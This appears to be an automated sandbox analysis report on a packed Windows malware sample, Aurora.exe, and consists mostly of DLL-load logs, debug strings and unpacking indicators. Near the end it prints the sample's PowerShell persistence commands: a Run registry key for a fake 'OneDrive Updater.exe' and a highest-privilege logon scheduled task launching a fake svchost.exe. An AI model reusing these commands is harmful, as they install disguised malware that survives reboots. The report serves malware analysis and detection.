Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\Aurora.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Aurora.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: Aurora.exe

Static file information: File size 22316547 > 1048576

Source: C:\Users\user\Desktop\Aurora.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: Aurora.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x1209e00
Source: Aurora.exe	Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x33d600

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdbx source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbB) source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb~- source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbu source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nHC:\Windows\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2916704878.0000000000987000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Aurora.exe, 00000000.00000002.1956220610.00000000012B4000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbL source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbP> source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1987273449.0000000002061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb. source: Aurora.exe, 00000000.00000002.1986631416.0000000001EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\Aurora.PDB0 source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, build.exe, 00000004.00000002.2918227460.0000000000B27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbService source: build.exe, 00000004.00000002.2916704878.0000000000987000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Aurora.exe

Unpacked PE file: 0.2.Aurora.exe.a0000.0.unpack :ER; :R; :R;.idata:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R; :R;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
